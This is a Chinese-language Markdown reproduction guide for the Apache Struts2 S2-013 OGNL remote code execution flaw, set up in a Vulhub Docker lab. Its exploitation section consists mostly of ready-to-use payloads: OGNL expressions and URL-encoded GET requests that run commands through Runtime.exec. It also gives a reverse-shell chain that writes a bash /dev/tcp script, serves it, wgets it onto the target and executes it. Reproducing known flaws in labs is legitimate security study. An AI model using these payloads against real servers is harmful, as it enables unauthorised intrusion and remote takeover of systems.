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91 lines
3.6 KiB
Markdown
91 lines
3.6 KiB
Markdown
# Apache Struts2 S2-013 远程代码执行漏洞
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## 漏洞描述
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Struts2 标签中 `<s:a>` 和 `<s:url>` 都包含一个 includeParams 属性，其值可设置为 none，get 或 all，参考官方其对应意义如下：
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1. none - 链接不包含请求的任意参数值（默认）
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2. get - 链接只包含 GET 请求中的参数和其值
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3. all - 链接包含 GET 和 POST 所有参数和其值
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`<s:a>` 用来显示一个超链接，当 `includeParams=all` 的时候，会将本次请求的 GET 和 POST 参数都放在 URL 的 GET 参数上。在放置参数的过程中会将参数进行 OGNL 渲染，造成任意命令执行漏洞。
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漏洞详情:
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- http://struts.apache.org/docs/s2-013.html
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- http://struts.apache.org/docs/s2-014.html
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## 漏洞影响
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影响版本: 2.0.0 - 2.3.14.1
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## 环境搭建
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Vulhub 执行以下命令启动 s2-013 测试环境：
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```
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docker-compose build
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docker-compose up -d
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```
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访问 `http://your-vps-ip:8080/index.jsp` 即可进入上传表单页面。
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## 漏洞复现
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任意命令执行 POC：
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```
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${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
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// 或
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${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}
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```
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例如：
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```
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http://your-vps-ip:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
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```
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成功执行命令 `id`：
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### 反弹 shell
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编写 shell 脚本并启动 http 服务器：
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```
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echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
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python3环境下：python -m http.server 80
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```
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上传 shell.sh 文件的命令为：
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```
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wget 192.168.174.128/shell.sh
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```
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上传 shell.sh 文件的 Payload 为：
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```
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GET /link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27wget%20192.168.174.128/shell.sh%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D HTTP/1.1
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```
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执行 shell.sh 文件的命令为：
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```
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bash /usr/local/tomcat/shell.sh
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```
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执行 shell.sh 文件的 Payload 为：
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```
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GET /link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27bash%20/usr/local/tomcat/shell.sh%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D HTTP/1.1
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```
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成功接收反弹 shell：
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